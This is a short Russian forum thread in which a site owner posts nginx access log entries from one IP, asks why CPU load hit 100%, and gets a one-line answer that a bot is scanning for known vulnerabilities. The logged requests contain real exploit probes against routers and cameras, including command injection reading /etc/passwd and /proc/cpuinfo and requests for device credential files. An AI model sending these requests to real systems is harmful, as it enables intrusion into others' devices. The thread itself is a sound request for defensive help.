Непонятные записи в /var/log/nginx/access.log

[JonsonS]

Приветствую!

Вот эти записи:
220.72.145.24 - - [25/Oct/2017:19:18:18 +0300] "GET / HTTP/1.1" 301 186 "-" "-" "-"
220.72.145.24 - - [25/Oct/2017:19:18:18 +0300] "\x00" 400 174 "-" "-" "-"
220.72.145.24 - - [25/Oct/2017:19:18:19 +0300] "POST /command.php HTTP/1.1" 301 186 "-" "-" "-"
220.72.145.24 - - [25/Oct/2017:19:18:19 +0300] "\x00" 400 174 "-" "-" "-"
220.72.145.24 - - [25/Oct/2017:19:18:19 +0300] "GET /system.ini?loginuse&loginpas HTTP/1.1" 301 186 "-" "-" "-"
220.72.145.24 - - [25/Oct/2017:19:18:20 +0300] "\x00" 400 174 "-" "-" "-"
220.72.145.24 - - [25/Oct/2017:19:18:20 +0300] "GET /upgrade_handle.php?cmd=writeuploaddir&uploaddir=%27;echo+nuuo+123456;%27 HTTP/1.1" 301 186 "-" "-" "-"
220.72.145.24 - - [25/Oct/2017:19:18:20 +0300] "\x00" 400 174 "-" "-" "-"
220.72.145.24 - - [25/Oct/2017:19:18:21 +0300] "GET /board.cgi?cmd=cat%20/etc/passwd HTTP/1.1" 301 186 "-" "-" "-"
220.72.145.24 - - [25/Oct/2017:19:18:21 +0300] "\x00" 400 174 "-" "-" "-"
220.72.145.24 - - [25/Oct/2017:19:18:22 +0300] "POST /hedwig.cgi HTTP/1.1" 301 186 "-" "-" "-"
220.72.145.24 - - [25/Oct/2017:19:18:22 +0300] "\x00" 400 174 "-" "-" "-"
220.72.145.24 - - [25/Oct/2017:19:18:23 +0300] "POST /apply.cgi HTTP/1.1" 301 186 "-" "-" "-"
220.72.145.24 - - [25/Oct/2017:19:18:23 +0300] "submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&nowait=1&ping_ip=%3b%20AAA** *BBB|||%20%3b&ping_size=&ping_times=5&traceroute_ip=\x00" 400 174 "-" "-" "-"
220.72.145.24 - - [25/Oct/2017:19:18:23 +0300] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&curpath=/&currentsetting.htm=1&cmd=echo+dgn+123456 HTTP/1.1" 301 186 "-" "-" "-"
220.72.145.24 - - [25/Oct/2017:19:18:24 +0300] "\x00" 400 174 "-" "-" "-"
220.72.145.24 - - [25/Oct/2017:19:18:24 +0300] "GET /cgi-bin/user/Config.cgi?.cab&action=get&category=Account.* HTTP/1.1" 301 186 "-" "-" "-"
220.72.145.24 - - [25/Oct/2017:19:18:25 +0300] "\x00" 400 174 "-" "-" "-"
220.72.145.24 - - [25/Oct/2017:19:18:25 +0300] "GET /shell?echo+jaws+123456;cat+/proc/cpuinfo HTTP/1.1" 301 186 "-" "-" "-"
220.72.145.24 - - [25/Oct/2017:19:18:25 +0300] "\x00" 400 174 "-" "-" "-"

После этих записей нагрузка CPU стала быстро расти до 100% и сайт висит!
Что это такое?

[markimax]

Чей то бот тестирует на известные уязвимости